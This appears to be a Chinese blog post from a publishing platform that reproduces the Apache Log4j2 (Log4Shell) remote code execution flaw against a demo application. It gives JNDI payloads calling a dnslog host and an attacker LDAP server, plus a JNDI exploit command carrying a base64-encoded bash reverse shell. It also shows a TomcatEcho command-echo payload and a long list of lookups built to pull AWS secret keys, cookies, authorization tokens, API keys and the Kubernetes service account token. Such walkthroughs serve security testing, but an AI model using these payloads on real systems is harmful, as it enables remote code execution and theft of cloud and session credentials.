Apache Log4j2 远程代码执行漏洞复现

遵纪守法

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

影响版本

Apache Log4j 2.x < 2.15.0-rc2

测试环境

1.png

首先把demo环境运行起来

java -jar demo.jar

访问页面提交payload

默认是 http://IP:8080/hello
${jndi:ldap://6chk06.dnslog.cn/test}
2.png

成功收到信息说明存在漏洞

1.执行命令

需要 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar启一个ldap服务

-C 是执行命令 根据不同的操作系统
#windows
C:\Windows\System32\calc.exe
#linux
"touch /tmp/123"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.222.1"

本次测试就用下边这个
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe"
3.png
7.png

2.命令回显

这里用到JNDIExploit-1.2-SNAPSHOT.jar工具启一个ldap服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
4.png

提交payload

cmd: whoami
Content-Type: application/x-www-form-urlencoded

payload=${jndi:ldap://192.168.222.1:1234/TomcatBypass/TomcatEcho}
5.png

命令查询信息

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
-------------------------------------------
// 应用服务器信息
${web:serverName}        // 服务器名称
${web:serverInfo}        // 服务器版本信息
${web:requestProtocol}   // 协议(HTTP/HTTPS)
${web:requestRemoteAddr} // 客户端IP
${web:requestRemoteHost} // 客户端主机名
${web:servletContext.servletContextName} // 应用名称
${web:servletContext.contextPath}        // 应用上下文路径

// HTTP请求信息
${web:requestHeaders}          // 所有请求头(可能泄露Cookie、Token等)
${web:requestHeader.User-Agent} // 提取User-Agent
${web:requestURI}              // 请求路径
${web:requestURL}              // 完整请求URL
${web:requestParameters}       // 所有请求参数(可能泄露敏感参数)
${web:request}                 // 完整请求对象(可能泄露请求内容)
${web:requestMethod}           // HTTP方法(GET/POST等)
${web:requestHeaders.Cookie}   // 提取Cookie
${web:requestHeaders.Authorization}  // 提取认证Token
${web:requestParameters.username}    // 提取请求参数(如username参数值)
${web:requestParameters}       // 所有请求参数(可能泄露密码、密钥等)

// 日志上下文
${ctx:loginId}   // 自定义上下文变量(需应用预设)
${ctx:apiKey}    // 如应用存储了密钥到Log4j上下文
${ctx:user_id}     // 用户ID(如登录后存储到日志上下文)
${ctx:api_key}     // API密钥
${ctx:session_id}  // 会话ID

如果应用基于Spring Boot,尝试提取配置信息:
${spring:spring.application.name}     // 应用名称
${spring:server.port}                 // 服务端口
${spring:database.url}                // 数据库连接字符串
${spring:cloud.aws.credentials.accessKey} // AWS密钥

Docker/Kubernetes针对容器化环境,尝试提取容器元数据:
// Docker环境变量
${env:HOSTNAME}          // 容器主机名
${env:KUBERNETES_SERVICE_HOST}  // Kubernetes API地址

// 容器文件系统
${file:/proc/self/cgroup}    // 容器cgroup信息
${file:/var/run/secrets/kubernetes.io/serviceaccount/token}  // Kubernetes服务账户Token
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容